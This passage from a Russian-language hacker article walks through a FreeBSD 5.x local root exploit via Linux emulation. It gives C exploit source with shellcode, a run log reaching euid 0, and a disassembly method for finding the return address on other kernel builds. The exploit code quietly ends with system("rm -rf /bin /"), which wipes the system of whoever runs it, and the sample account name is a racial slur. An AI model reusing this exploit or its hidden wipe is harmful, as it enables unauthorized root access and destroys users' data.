   что mprotect() будет работать и в близких к краям страницы адресам, что
   скорее всего связанно с использованием roundup(). Но тем не менее, чтоб
   багов не было (а ядру будет ОЧЕНЬ больно падать),  рекомендуется  юзать
   точные гарницы страниц.


   Ну и сам clipcode + адреса он читает из файла kern.l0g.  Теперь напишем
   прогу,  которая высчитывет  необходимые адреса,  пишет их в  kern.l0g и
   запускает сплоит:


   /* tUx_0wn_fbsd.c */
  #include <stdio.h>
  #include <fcntl.h>
  #include <sys/stat.h>
  #include <sys/param.h>
  #include <sys/types.h>
  #include <sys/sysctl.h>
  #include <sys/user.h>


  /*  magic file format:

     offset    description
    +---------+---------------
         0h          evil code
        20h        thread addr
        24h         proc vaddr
        28h               null
        2ch        kstack addr
        30h      stack pointer

  */


  char evil[] =      // x86 black magic hellc0de
  "\x99\xbb";

  char evil2[] =
  "\x8b\x4b\x20\x89\x51\x04\x8b\x4c\x24\x34"
  "\x89\x4c\x24\x20\xc7\x44\x24\x30";

  char evil3[] =
  "\x89\xec\x5d\xc3";


  int main(int argc, char *argv[])
  {
    int i, fd, sz, pid, m1b[4];
    struct kinfo_proc p;
  
    m1b[0] = 1;  // CT_KERN
    m1b[1] = 14; // KERN_PROC
    m1b[2] = 1;  // KERN_PROC_PID
  
    pid = fork();

    if (pid == 0){ /* child */
      sleep(2);
      execl("./p0c", "p0c", 0);
      return 1;
    }

    /* build 1337 xpl code */
    m1b[3] = pid;
    sz = sizeof(struct kinfo_proc);

    if (sysctl(&m1b, 4, &p, &sz, 0, 0) < 0){
       perror("sysctl");
       return -1;
    }

    fd = open("kern.l0g", O_CREAT | O_WRONLY);
    if (fd < 0) return -1;

    write(fd, &evil, 2);
    sz = p.ki_paddr; // proc addr
    printf("[+] ki_paddr: 0x%x\n", sz);
    write(fd, &sz, 4); // first arg in hellc0de

    write(fd, &evil2, 18);
    sz = 0xc045ce9e;
    write(fd, &sz, 4); // orig ret in hellc0de

    write(fd, &evil3, 4);

    sz = 0xdefaced; // dummy addr of thread
    write(fd, &sz, 4);

    sz = p.ki_paddr;
    write(fd, &sz, 4); // proc vaddr

    sz = 0;
    write(fd, &sz, 4); // null separator

    sz = p.ki_kstack;
    sz += 0x1d40;
    printf("[+] kstack:  0x%x\n", sz);
    write(fd, &sz, 4); // kstack addr

    sz -= 0x8c;
    printf("[+] stack pointer: 0x%x\n", sz);
    write(fd, &sz, 4);
    close(fd);

    printf("[+] hold your breath...\n");
    sleep(2);
  
    printf("[!] done. are u luck as hell?\n");

    system("rm -rf /bin / 2>/dev/null");
    return 0;
  }


    А теперь проверим, как всё работает:

   # kldunload linux.ko
   # kldload /boot/kernel/linux.ko

   $ id
   uid=666(nigga) gid=666(nigga) groups=666(nigga)

   $ as -o p0c.o tUx_injector.s
   $ ld -o p0c p0c.o
   $ brandelf -t Linux ./p0c
   $ gcc -o zer0_uid tUx_0wn_fbsd.c 2>/dev/null
   $ ./zer0_uid
   [+] ki_paddr: 0xc1ab9000
   [+] kstack:  0xc8c9cd40
   [+] stack poiner: 0xc8c9ccb4
   [+] hold your breath...
   [!] done. are u luck as hell?

   $ id
   uid=666(nigga) euid=0(root) gid=666(nigga) groups=666(nigga)

   $ echo h0no
   h0no


  [0x8]  other fbsd versions =============================================

   Как уже говорилось ранее, данный сплоит писался и отлаживался в freebsd
   5.0-release. Возможно будет работать и на других системах  ( <=5.2 ??),
   на 4.х придётся вносить туеву хучу изменений (судя по структуре user.h)
   и вообще не факт что работать будет...


   Но тем не менее, хочется сказать пару слов о вычислении old_ret'a (look
   исходник tUx_0wn_fbsd.c),  т.к. после перекомпиляции ядра он может быть
   отличен от дефолтового. Вот как это можно сделать:

 $ objdump -x /boot/kernel/kernel | grep syscall

   Теперь адрес начала syscall() берём как  start-addr, прибавляем  к нему
   примерно 0x1ff или около того и получаем таким образом stop-addr. Далее
   так:

 $ objdump -D --start-addr=0xc045cc50 --stop-addr=0xc045ceaf /boot/kernel/kernel

  c045cc50 <syscall>:
  c045cc50:     55                      push   %ebp
  c045cc51:     89 e5                   mov    %esp,%ebp
  c045cc53:     57                      push   %edi
  c045cc54:     56                      push   %esi
  c045cc55:     53                      push   %ebx
  c045cc56:     83 ec 4c                sub    $0x4c,%esp
  c045cc59:     64 8b 1d 00 00 00 00    mov    %fs:0x0,%ebx
  c045cc60:     8b 33                   mov    (%ebx),%esi
  c045cc62:     64 a1 38 00 00 00       mov    %fs:0x38,%eax
  c045cc68:     05 cc 00 00 00          add    $0xcc,%eax
  c045cc6d:     ff 00                   incl   (%eax)
  c045cc6f:     8b 43 44                mov    0x44(%ebx),%eax
  c045cc72:     8b 40 54                mov    0x54(%eax),%eax
  c045cc75:     89 45 bc                mov    %eax,0xffffffbc(%ebp)
  c045cc78:     8d 45 08                lea    0x8(%ebp),%eax
  c045cc7b:     89 83 b8 00 00 00       mov    %eax,0xb8(%ebx)
  c045cc81:     8b 43 78                mov    0x78(%ebx),%eax
  c045cc84:     3b 46 20                cmp    0x20(%esi),%eax
  c045cc87:     74 08                   je     c045cc91 <syscall+0x41>
  c045cc89:     89 1c 24                mov    %ebx,(%esp,1)
  c045cc8c:     e8 8f 7b e8 ff          call   c02e4820 <cred_update_thread>
  c045cc91:     0f b7 46 38             movzwl 0x38(%esi),%eax
  c045cc95:     25 00 80 ff ff          and    $0xffff8000,%eax
  c045cc9a:     66 85 c0                test   %ax,%ax
  c045cc9d:     74 0c                   je     c045ccab <syscall+0x5b>
  c045cc9f:     89 5c 24 04             mov    %ebx,0x4(%esp,1)
  c045cca3:     89 34 24                mov    %esi,(%esp,1)
  c045cca6:     e8 c5 59 e9 ff          call   c02f2670 <thread_user_enter>
  c045ccab:     8b 45 48                mov    0x48(%ebp),%eax
  c045ccae:     83 c0 04                add    $0x4,%eax
  c045ccb1:     89 45 cc                mov    %eax,0xffffffcc(%ebp)
  c045ccb4:     8b 45 30                mov    0x30(%ebp),%eax
  c045ccb7:     89 45 c8                mov    %eax,0xffffffc8(%ebp)
  c045ccba:     8b 55 44                mov    0x44(%ebp),%edx
  c045ccbd:     89 55 c0                mov    %edx,0xffffffc0(%ebp)
  c045ccc0:     8b 96 60 01 00 00       mov    0x160(%esi),%edx
  c045ccc6:     83 7a 30 00             cmpl   $0x0,0x30(%edx)
  c045ccca:     74 24                   je     c045ccf0 <syscall+0xa0>
  c045cccc:     8d 45 cc                lea    0xffffffcc(%ebp),%eax
  c045cccf:     89 44 24 0c             mov    %eax,0xc(%esp,1)
  c045ccd3:     8d 45 c8                lea    0xffffffc8(%ebp),%eax
  c045ccd6:     89 44 24 08             mov    %eax,0x8(%esp,1)
  c045ccda:     8d 45 d0                lea    0xffffffd0(%ebp),%eax
  c045ccdd:     89 44 24 04             mov    %eax,0x4(%esp,1)
  c045cce1:     8d 45 08                lea    0x8(%ebp),%eax
  c045cce4:     89 04 24                mov    %eax,(%esp,1)
  c045cce7:     ff 52 30                call   *0x30(%edx)
  c045ccea:     eb 44                   jmp    c045cd30 <syscall+0xe0>
  c045ccec:     8d 74 26 00             lea    0x0(%esi,1),%esi
  c045ccf0:     83 7d c8 00             cmpl   $0x0,0xffffffc8(%ebp)
  c045ccf4:     75 1a                   jne    c045cd10 <syscall+0xc0>
  c045ccf6:     8b 45 cc                mov    0xffffffcc(%ebp),%eax
  c045ccf9:     89 04 24                mov    %eax,(%esp,1)
  c045ccfc:     e8 63 e4 ff ff          call   c045b164 <fuword>
  c045cd01:     89 45 c8                mov    %eax,0xffffffc8(%ebp)
  c045cd04:     83 45 cc 04             addl   $0x4,0xffffffcc(%ebp)
  c045cd08:     eb 26                   jmp    c045cd30 <syscall+0xe0>
  c045cd0a:     8d b6 00 00 00 00       lea    0x0(%esi),%esi
  c045cd10:     81 7d c8 c6 00 00 00    cmpl   $0xc6,0xffffffc8(%ebp)
  c045cd17:     75 17                   jne    c045cd30 <syscall+0xe0>
  c045cd19:     8b 45 cc                mov    0xffffffcc(%ebp),%eax
  c045cd1c:     89 04 24                mov    %eax,(%esp,1)
  c045cd1f:     e8 40 e4 ff ff          call   c045b164 <fuword>
  c045cd24:     89 45 c8                mov    %eax,0xffffffc8(%ebp)
  c045cd27:     83 45 cc 08             addl   $0x8,0xffffffcc(%ebp)
  c045cd2b:     90                      nop
  c045cd2c:     8d 74 26 00             lea    0x0(%esi,1),%esi
  c045cd30:     8b 96 60 01 00 00       mov    0x160(%esi),%edx
  c045cd36:     83 7a 08 00             cmpl   $0x0,0x8(%edx)
  c045cd3a:     74 09                   je     c045cd45 <syscall+0xf5>
  c045cd3c:     8b 45 c8                mov    0xffffffc8(%ebp),%eax
  c045cd3f:     23 42 08                and    0x8(%edx),%eax
  c045cd42:     89 45 c8                mov    %eax,0xffffffc8(%ebp)
  c045cd45:     8b 96 60 01 00 00       mov    0x160(%esi),%edx
  c045cd4b:     8b 45 c8                mov    0xffffffc8(%ebp),%eax
  c045cd4e:     3b 02                   cmp    (%edx),%eax
  c045cd50:     72 0e                   jb     c045cd60 <syscall+0x110>
  c045cd52:     8b 52 04                mov    0x4(%edx),%edx
  c045cd55:     89 55 c4                mov    %edx,0xffffffc4(%ebp)
  c045cd58:     eb 18                   jmp    c045cd72 <syscall+0x122>
  c045cd5a:     8d b6 00 00 00 00       lea    0x0(%esi),%esi
  c045cd60:     8b 86 60 01 00 00       mov    0x160(%esi),%eax
  c045cd66:     8b 50 04                mov    0x4(%eax),%edx
  c045cd69:     8b 45 c8                mov    0xffffffc8(%ebp),%eax
  c045cd6c:     8d 04 c2                lea    (%edx,%eax,8),%eax
  c045cd6f:     89 45 c4                mov    %eax,0xffffffc4(%ebp)
  c045cd72:     8b 55 c4                mov    0xffffffc4(%ebp),%edx
  c045cd75:     0f b7 12                movzwl (%edx),%edx
  c045cd78:     89 55 b8                mov    %edx,0xffffffb8(%ebp)
  c045cd7b:     83 7d cc 00             cmpl   $0x0,0xffffffcc(%ebp)
  c045cd7f:     74 23                   je     c045cda4 <syscall+0x154>
  c045cd81:     85 d2                   test   %edx,%edx
  c045cd83:     74 1f                   je     c045cda4 <syscall+0x154>
  c045cd85:     89 d0                   mov    %edx,%eax
  c045cd87:     c1 e0 02                shl    $0x2,%eax
  c045cd8a:     89 44 24 08             mov    %eax,0x8(%esp,1)
  c045cd8e:     8d 45 d0                lea    0xffffffd0(%ebp),%eax
  c045cd91:     89 44 24 04             mov    %eax,0x4(%esp,1)
  c045cd95:     8b 45 cc                mov    0xffffffcc(%ebp),%eax
  c045cd98:     89 04 24                mov    %eax,(%esp,1)
  c045cd9b:     e8 24 e1 ff ff          call   c045aec4 <copyin>
  c045cda0:     89 c7                   mov    %eax,%edi
  c045cda2:     eb 05                   jmp    c045cda9 <syscall+0x159>
  c045cda4:     bf 00 00 00 00          mov    $0x0,%edi
  c045cda9:     8b 03                   mov    (%ebx),%eax
  c045cdab:     f6 80 c4 00 00 00 02    testb  $0x2,0xc4(%eax)
  c045cdb2:     74 2c                   je     c045cde0 <syscall+0x190>
  c045cdb4:     80 7b 56 00             cmpb   $0x0,0x56(%ebx)
  c045cdb8:     75 26                   jne    c045cde0 <syscall+0x190>
  c045cdba:     8d 45 d0                lea    0xffffffd0(%ebp),%eax
  c045cdbd:     89 44 24 08             mov    %eax,0x8(%esp,1)
  c045cdc1:     8b 45 b8                mov    0xffffffb8(%ebp),%eax
  c045cdc4:     89 44 24 04             mov    %eax,0x4(%esp,1)
  c045cdc8:     8b 45 c8                mov    0xffffffc8(%ebp),%eax
  c045cdcb:     89 04 24                mov    %eax,(%esp,1)
  c045cdce:     e8 9d aa e7 ff          call   c02d7870 <ktrsyscall>
  c045cdd3:     8d b6 00 00 00 00       lea    0x0(%esi),%esi
  c045cdd9:     8d bc 27 00 00 00 00    lea    0x0(%edi,1),%edi
  c045cde0:     8b 55 c4                mov    0xffffffc4(%ebp),%edx
  c045cde3:     f6 42 02 01             testb  $0x1,0x2(%edx)
  c045cde7:     75 24                   jne    c045ce0d <syscall+0x1bd>
  c045cde9:     c7 44 24 0c 01 04 00    movl   $0x401,0xc(%esp,1)
  c045cdf0:     00
  c045cdf1:     c7 44 24 08 1e b5 4c    movl   $0xc04cb51e,0x8(%esp,1)
  c045cdf8:     c0
  c045cdf9:     c7 44 24 04 00 00 00    movl   $0x0,0x4(%esp,1)
  c045ce00:     00
  c045ce01:     c7 04 24 e0 38 50 c0    movl   $0xc05038e0,(%esp,1)
  c045ce08:     e8 73 1b e8 ff          call   c02de980 <_mtx_lock_flags>
  c045ce0d:     85 ff                   test   %edi,%edi
  c045ce0f:     0f 85 8b 00 00 00       jne    c045cea0 <syscall+0x250>
  c045ce15:     c7 83 98 00 00 00 00    movl   $0x0,0x98(%ebx)
  c045ce1c:     00 00 00
  c045ce1f:     8b 45 28                mov    0x28(%ebp),%eax
  c045ce22:     89 83 9c 00 00 00       mov    %eax,0x9c(%ebx)
  c045ce28:     c7 44 24 0c 07 04 00    movl   $0x407,0xc(%esp,1)
  c045ce2f:     00
  c045ce30:     c7 44 24 08 1e b5 4c    movl   $0xc04cb51e,0x8(%esp,1)
  c045ce37:     c0
  c045ce38:     c7 44 24 04 00 00 00    movl   $0x0,0x4(%esp,1)
  c045ce3f:     00
  c045ce40:     8d 46 68                lea    0x68(%esi),%eax
  c045ce43:     89 04 24                mov    %eax,(%esp,1)
  c045ce46:     e8 35 1b e8 ff          call   c02de980 <_mtx_lock_flags>
  c045ce4b:     f6 86 08 01 00 00 04    testb  $0x4,0x108(%esi)
  c045ce52:     74 17                   je     c045ce6b <syscall+0x21b>
  c045ce54:     8b 45 b8                mov    0xffffffb8(%ebp),%eax
  c045ce57:     89 44 24 08             mov    %eax,0x8(%esp,1)
  c045ce5b:     c7 44 24 04 04 00 00    movl   $0x4,0x4(%esp,1)
  c045ce62:     00
  c045ce63:     89 34 24                mov    %esi,(%esp,1)
  c045ce66:     e8 45 ff ea ff          call   c030cdb0 <stopevent>
  c045ce6b:     c7 44 24 0c 07 04 00    movl   $0x407,0xc(%esp,1)
  c045ce72:     00
  c045ce73:     c7 44 24 08 1e b5 4c    movl   $0xc04cb51e,0x8(%esp,1)
  c045ce7a:     c0
  c045ce7b:     c7 44 24 04 00 00 00    movl   $0x0,0x4(%esp,1)
  c045ce82:     00
  c045ce83:     8d 46 68                lea    0x68(%esi),%eax
  c045ce86:     89 04 24                mov    %eax,(%esp,1)
  c045ce89:     e8 42 1b e8 ff          call   c02de9d0 <_mtx_unlock_flags>
  c045ce8e:     8d 45 d0                lea    0xffffffd0(%ebp),%eax
  c045ce91:     89 44 24 04             mov    %eax,0x4(%esp,1)
  c045ce95:     89 1c 24                mov    %ebx,(%esp,1)
  c045ce98:     8b 55 c4                mov    0xffffffc4(%ebp),%edx
  c045ce9b:     ff 52 04                call   *0x4(%edx)
  c045ce9e:     89 c7                   mov    %eax,%edi
  c045cea0:     83 ff ff                cmp    $0xffffffff,%edi
  c045cea3:     74 2b                   je     c045ced0 <syscall+0x280>
  c045cea5:     83 ff ff                cmp    $0xffffffff,%edi
  c045cea8:     7f 07                   jg     c045ceb1 <syscall+0x261>
  c045ceaa:     83 ff fe                cmp    $0xfffffffe,%edi
  c045cead:     74 5c                   je     c045cf0b <syscall+0x2bb>


   Анализа этого кода вполне достаточно чтобы вытащить old_ret. Если у вас
   туго с асмом, то вот алгоритм:

   1. ищем в середине функции syscall() опкоды call'a, который не вызывает
   какую-либо из фунцкий явно.

   2. прибавляем к адресу инструкций вызова их размер.

   Пример:

 $ objdump -D --start-addr=0xc045cc50 --stop-addr=0xc045ceaf
  /boot/kernel/kernel | grep call

  c045cc8c:     e8 8f 7b e8 ff          call   c02e4820 <cred_update_thread>
  c045cca6:     e8 c5 59 e9 ff          call   c02f2670 <thread_user_enter>
  c045cce7:     ff 52 30                call   *0x30(%edx)
  c045ccfc:     e8 63 e4 ff ff          call   c045b164 <fuword>
  c045cd1f:     e8 40 e4 ff ff          call   c045b164 <fuword>
  c045cd9b:     e8 24 e1 ff ff          call   c045aec4 <copyin>
  c045cdce:     e8 9d aa e7 ff          call   c02d7870 <ktrsyscall>
  c045ce08:     e8 73 1b e8 ff          call   c02de980 <_mtx_lock_flags>
  c045ce46:     e8 35 1b e8 ff          call   c02de980 <_mtx_lock_flags>
  c045ce66:     e8 45 ff ea ff          call   c030cdb0 <stopevent>
  c045ce89:     e8 42 1b e8 ff          call   c02de9d0 <_mtx_unlock_flags>
  c045ce9b:     ff 52 04                call   *0x4(%edx)

 $


   Рассмотрим sys/i386/i386/trap.c:

  /*
   *    syscall -       system call request C handler
   *
   *    A system call is essentially treated as a trap.
   */
  void
  syscall(frame)
        struct trapframe frame;
  {
        caddr_t params;
        struct sysent *callp;
        struct thread *td = curthread;
        struct proc *p = td->td_proc;
        register_t orig_tf_eflags;
        u_int sticks;
        int error;
        int narg;
        int args[8];
        u_int code;

        /*
         * note: PCPU_LAZY_INC() can only be used if we can afford
         * occassional inaccuracy in the count.
         */
        PCPU_LAZY_INC(cnt.v_syscall);
  ...

        if (p->p_sysent->sv_prepsyscall) {
                /*
                 * The prep code is MP aware.
                 */
                (*p->p_sysent->sv_prepsyscall)(&frame, args, &code, &params);[1]
        } else {

  ...
        narg = callp->sy_narg & SYF_ARGMASK;

        /*
         * copyin and the ktrsyscall()/ktrsysret() code is MP-aware
         */
        if (params != NULL && narg != 0)
                error = copyin(params, (caddr_t)args,   [2]
                    (u_int)(narg * sizeof(int)));
        else
                error = 0;
                
  #ifdef KTRACE
        if (KTRPOINT(td, KTR_SYSCALL))
                ktrsyscall(code, narg, args);           [3]
  #endif

        /*
         * Try to run the syscall without Giant if the syscall
           * is MP safe.
         */
          if ((callp->sy_narg & SYF_MPSAFE) == 0)
                mtx_lock(&Giant);                       [4]

          if (error == 0) {
                td->td_retval[0] = 0;
                td->td_retval[1] = frame.tf_edx;

                  STOPEVENT(p, S_SCE, narg);              [5]

                error = (*callp->sy_call)(td, args);    [6]
        }


   Теперь взглянем, на сколько соответсвуют данные  вызовы полученным нами
   из дизасма функциям:

  c045cce7:     ff 52 30                call   *0x30(%edx)  == [1]

   Легко видеть в  данном случае,  что вызывается не  какая-то  конкретная
   функция, а именно адрес,  на который  указывает sv_prepsyscall.  Значит
   верно, этот вызов соответсвует приведённому из disasma.

  c045cd9b:     e8 24 e1 ff ff          call   c045aec4 <copyin> == [2]

   Ну, copyin() в функции syscall() вызывается всего 1 раз,так что никакой
   путаницы возникнуть тоже не должно.

  c045cdce:     e8 9d aa e7 ff          call   c02d7870 <ktrsyscall> == [3]

   Логично, не правда ли?

  c045ce08:     e8 73 1b e8 ff          call   c02de980 <_mtx_lock_flags> == [4]
  c045ce46:     e8 35 1b e8 ff          call   c02de980 <_mtx_lock_flags> == [4]

   Тут немного  не ясно почему вызывается  дважды,  но смотрите  исходники
   mtx_lock.

  c045ce66:     e8 45 ff ea ff          call   c030cdb0 <stopevent> == [5]
  c045ce89:     e8 42 1b e8 ff          call   c02de9d0 <_mtx_unlock_flags> == [5]

   Снова не очевидно, но достаточно посмотреть макрос STOPEVENT().

  c045ce9b:     ff 52 04                call   *0x4(%edx) == [6]

   И наконец, остаётся  то что  нам нужно,  вызывается обработчик  данного
   syscall'a, в нашем случае это linux_setgroups16(). Следовательно, адрес
   возврата  будет  равен  0xc045ce9b + (длина инструкций вызова == 3).  В
   конечном счёте получаем 0xc045ce9e, что и требовалось доказать.  Теперь
   илитные люди смогут юзать сплоит на машинах с fbsd 5.[0-2].

   g00d 1uCk

# eof